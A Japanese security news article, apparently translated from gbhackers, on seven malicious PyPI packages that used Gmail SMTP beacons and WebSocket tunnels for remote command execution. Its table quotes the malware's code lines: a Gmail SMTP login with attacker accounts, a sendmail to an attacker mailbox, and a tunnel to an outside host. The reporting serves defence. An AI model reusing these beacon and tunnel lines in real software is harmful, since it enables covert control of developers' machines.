PyPI に7つの悪意のパッケージ:Gmail SMTP への信用を悪用する新たな手口

Seven Malicious Packages Exploit Gmail SMTP to Run Harmful Commands

2025/05/02 gbhackers — Python Package Index (PyPI) に公開された7つのパッケージに、相互に関連する悪意が潜んでいることが、Socket 脅威調査チームの研究者たちにより発見された。それは、Python オープンソース・コミュニティを揺るがす、大規模なサプライチェーン・セキュリティ・インシデントを示すものだ。

一連の悪意のパッケージ (Coffin-Codes-Pro/Coffin-Codes-NET2/Coffin-Codes-NET/Coffin-Codes-2022/Coffin2022/Coffin-Grave/cfc-bsb) は、Gmail の SMTP サービスを巧妙に悪用し、秘密裏に Comamnd and Control トンネルを確立し、さらには、侵入したマシン上で任意のコマンド実行を可能にするものである。

Gmail SMTP の巧妙な悪用

PyPI で発見される一般的なマルウェアと、これらのパッケージが異なる点は、Gmail の Simple Mail Transfer Protocol (SMTP) に通信を依存しているところにある。

それにより、マルウェアが生成するトラフィックは、正規のメール・トラフィックに紛れ込み、Gmail のインフラを信頼している大半のファイアウォールやエンドポイント検出システムを回避できるようになる。

以下の表は、発見された7つの悪意の Python パッケージ/使用されたメール・アドレスと SMTP アカウント/主要なコードの動作に加えて、この調査で明らかになった注目すべき詳細を構造化するものだ。なお、安全のため、認証情報は編集している。

Package NameKey Malicious Code/Technique
Coffin-Codes-Prosrv = smtplib.SMTP_SSL(“smtp.gmail.com”, 465)
srv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Codes-NET2srv.login(“hackingbsb@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Codes-NETsrv.login(“btcchain2@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Codes-2022srv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin2022srv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
Coffin-Gravesrv.login(“sphacoffin@gmail.com”, “[redacted]”)
srv.sendmail(“sphacoffin@gmail.com”, “blockchain.bitcoins2020@gmail.com”, “SHIT INCOMIN”)
cfc-bsbWebSocket tunneling to wss://open.jprq.live
No SMTP/email or credential exfiltration

これらのパッケージのインストール時に、攻撃者が管理するアカウント (特にsphacoffin@gmail.com など) に紐付けられたハードコード認証情報が用いられ、Gmail サーバへの SSL 暗号化接続が確立すると、Socket Findings は指摘している

最初のメッセージは、悪意の埋め込みプログラムがアクティブであることを確認するために、別の攻撃者のメール・ボックス (blockchain.bitcoins2020@gmail.com) へと送信される。

そのコア機能は、秘密のトンネルを構築することにある。最初のビーコンの後に、悪意のモジュールは安全な WebSocket チャネルを開き、さらなる指示を受信する。攻撃者は、このトンネルを利用して、以下の攻撃を実行していく。

  • 機密データの窃取
  • 任意のシェルコマンドまたはスクリプトの実行
  • 認証情報の収集または管理パネルへのアクセス
  • 標的ネットワークへのファイル転送
  • 内部ネットワークへの侵入
  • パッケージの詳細とタイムラインの取得

それぞれのパッケージには、若干の差異が認められた:

  • Coffin-Codes-Pro:初期の攻撃パターンを確立し、インプラントを通知し、トンネル情報を攻撃者に転送する。
  • Coffin-Codes-NET2/Coffin-Codes-NET:新しい Gmail アカウントと軽微なコード変更が採用されており、攻撃者の継続的な活動を示唆している。
  • Coffin-Codes-2022/Coffin2022/Coffin-Grave:オリジナルのパッケージ機能を完全にミラーリングし、異なる PyPI エントリ間で、認証情報とワークフローを再利用する。
  • cfc-bsb:2021年3月に発生した、最も古くて悪意の少ないパッケージである。直接的なメールの窃取機能は備えていないが、トンネル転送を容易にし、重大なリスクをもたらした。

攻撃者の身元を示す唯一の手がかりは、使用された数少ない Gmail アドレスと、Bitcoin/Solana についての繰り返しの言及だけだが、以前の暗号資産を標的とした攻撃との関連を示唆している。

これらのパッケージは、その後に PyPI から削除されたが、2021年まで遡る長期にわたる存在が浮き彫りにするのは、オープンソース・リポジトリの監視の難しさである。

オープンソースのサプライチェーン攻撃が、より巧妙かつ創造的になるにつれて、ソフトウェア開発ライフサイクル全体をカバーする、意識と警戒を高める必要が生じている。

オープンソースの利便性の裏で、こうした偽装パッケージが日常的に潜んでいる現実は恐ろしいですね。開発者の皆さまは、十分にご注意ください。よろしければ、以下の関連記事も、PyPI で検索と併せてご参照下さい。

2025/04/25:PyPI から 39,000+ DL の悪意の Python パッケージ
2024/11/25:
PyPI の悪意のライブラリ aiocpa
2024/12/24:PyPI に悪意のパッケージ zebo/cometlogger を発見